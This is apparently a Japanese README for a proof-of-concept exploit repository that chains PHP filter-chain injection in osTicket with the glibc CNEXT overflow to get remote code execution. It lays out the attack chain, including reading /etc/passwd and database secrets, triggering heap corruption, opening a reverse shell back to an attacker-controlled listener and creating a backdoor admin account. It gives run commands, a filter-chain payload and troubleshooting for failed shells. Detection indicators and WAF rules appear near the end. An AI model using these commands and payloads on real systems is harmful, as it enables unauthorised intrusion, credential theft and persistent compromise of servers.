
PHPフィルターチェーンインジェクションとCVE-2024-2961 (CNEXT)を組み合わせたフルチェーンエクスプロイトで、脆弱なosTicketインストールに対して認証不要のリモートコード実行を実現します。
PHPフィルターチェーンインジェクションとCVE-2024-2961(CNEXT)を組み合わせたフルチェーンエクスプロイト。脆弱なosTicketインストールに対して、認証なしでのリモートコード実行を実現します。
このリポジトリは、CVE-2026-22200(osTicket バージョン ≤ 1.18.2 に影響するクリティカルな脆弱性)の概念実証エクスプロイトを含んでいます。このエクスプロイトは、以下の2つの強力な技術を連鎖させます:
結果:脆弱なosTicketサーバー上で認証なしのリモートコード実行が可能です。
CVSSスコア: 9.8(クリティカル)
osTicketのmPDF統合機能により、認証されていないユーザーが悪意のあるPHPフィルターチェーンを、サポートチケット内の巧妙に細工されたHTMLペイロードを通じて注入できるようになります。これにより以下が可能になります:
根本原因: ユーザーが提供したHTML内の画像URLに対するバリデーションが不十分であり、そのままmPDFに渡されること。
CVSSスコア: 9.8(クリティカル)
glibcのiconv()がISO-2022-CN-EXT文字セットを処理する際に発生するバッファオーバーフロー。PHPフィルターチェーンと組み合わせることで、以下が可能になります:
脆弱なglibcバージョン: < 2.39(2024年2月)
┌─────────────────────────────────────────────────────────────────┐
│ 1. 偵察 │
│ └─ osTicketの検出、リッチテキストトピックの特定 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 認証 │
│ └─ 自己登録、または既存の資格情報を利用 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. ファイル抽出 (PHPフィルターチェーン) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (DB資格情報、SECRET_SALT) │
│ ├─ /proc/self/maps (メモリレイアウト) │
│ └─ /proc/self/environ (環境変数) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. libcのフィンガープリンティング │
│ ├─ フィルターチェーンから部分的なlibcを抽出 │
│ ├─ GNU Build ID を抽出 │
│ └─ libc.rip から完全なlibcをダウンロード │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCEエクスプロイト │
│ ├─ ヒープ破壊ペイロードの生成 │
│ ├─ チケット返信を介した注入(フィルター実行修正を含む) │
│ ├─ PDFエクスポートをトリガー(サーバーがクラッシュ) │
│ └─ リバースシェルを実行 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ポストエクスプロイト │
│ ├─ 対話型リバースシェル │
│ ├─ データベースアクセス(抽出したDBPASSを使用) │
│ └─ バックドア管理者アカウントの作成 │
└─────────────────────────────────────────────────────────────────┘
# リポジトリをクローン
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# 必要なパッケージをインストール
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# または
venv\Scripts\activate # Windows
pip install -r requirements.txt
# ターミナル1: リスナーを起動
nc -lvnp 4444
# ターミナル2: エクスプロイトを実行
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# プロキシを使用 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# 特定のヘルプトピックIDを強制
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# 色付き出力を無効化 (ログ用)
python3 osticket_exploit.py https://target.com/osticket --no-color
登録が無効な場合、資格情報の入力を求められます:
python3 osticket_exploit.py https://target.com/osticket
[?] 新しいアカウントのメールアドレス(または既存のもの)を入力: [email protected]
[?] パスワードを入力: ********
エクスプロイトは、BMPヘッダーを任意のファイルに前置する高度なフィルターチェーンを使用し、mPDFのファイル種別制限をバイパスします:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv変換 ...]
convert.base64-decode/resource=/etc/passwd
主要な革新点: BMPヘッダーの各文字は、注意深く設計されたiconv変換によって生成され、任意のファイル内容を「有効な」画像として埋め込むことが可能になります。
CNEXTペイロードは、以下の方法でPHPのZendメモリマネージャを破壊します:
劄を使用してiconvバッファをオーバーフローさせる信頼性の向上:
劄)元のエクスプロイトとは異なり、このバージョンではファイルシステムスキャンを使用してWebshellの場所を保証します:
結果: 100%の検出率(元の約50%から向上)
よくある失敗:PDFはダウンロードされるがクラッシュしない = フィルターが実行されていない。
実装された解決策:
stream=True により即時処理を強制# 詳細モードで確認:
[*] ターゲットlibc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 はCNEXTに対して脆弱です
glibc ≥ 2.39 の場合、CNEXTは動作しません(修正済み)。
症状: サーバーはクラッシュするが、リバースシェルが接続されない
原因:
修正:
# ncリバースシェルを使用(より短い)
# bash/pythonが長すぎる場合は自動的にフォールバック
# またはホスト名の代わりに直接IPを使用
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # ホスト名ではなくIPを使用
--lport 4444
ログの指標:
# Apache/Nginxのログ
POSTリクエスト内の"php://filter/"
リクエストボディ内の"convert.iconv."
異常なPDF生成パターン
短時間での複数のPDFリクエスト
# PHPエラーログ
PDF生成中のセグメンテーションフォールト
iconv()のクラッシュ
ヒープ破壊エラー
ネットワークの指標:
mPDFでPHPストリームラッパーを無効化:
// mPDF設定内
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
WAFルール (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'PHPフィルター検出'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'疑わしいiconvチェーン'"
レート制限:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()教育目的および許可を得たテストのみに使用
このツールは以下を目的として提供されています:
コンピュータシステムへの不正アクセスは違法です
著者は:
ユーザーは、システムをテストする前に適切な許可を得ていることを確認する責任を単独で負います。
本ツールを使用することにより、以下に同意したものとみなされます:
コンピュータシステムへの不正アクセスは、以下の法律に基づく犯罪です:
最高刑罰には禁固刑と多額の罰金が含まれる場合があります。
このプロジェクトはMITライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。
注意: MITライセンスは使用、修正、配布を許可しますが、自分が所有していない、またはテストする許可がないシステムを攻撃する権限を与えるものではありません。
セキュリティ研究者および質問については:
以下の目的ではこの連絡先を使用しないでください:
セキュリティ研究と教育のために愛情を込めて作られました
役に立ったらスターを付けてください!
最終更新日: 2026-03-03
| エラー | 原因 | 解決策 |
|---|
CSRFトークンがありません | セッションの期限切れ | エクスプロイトを再実行 |
ヘルプトピックが見つかりません | リッチテキストトピックがない | 手動で--topic-idを使用 |
Build IDが見つかりません | 部分的なlibcが破損 | /proc/self/mapsの抽出を確認 |
ヒープの位置が特定できません | 異常なメモリレイアウト | エクスプロイトが失敗する可能性あり(稀) |
| 指標 | 値 |
|---|
| コード行数 | ~3,000 |
| 成功率 | 95%以上(修正版) |
| 平均実行時間 | 2~3分 |
| クラッシュ信頼性 | 99%(拡張版) |
| Webshell検出率 | 100%(スキャン版) |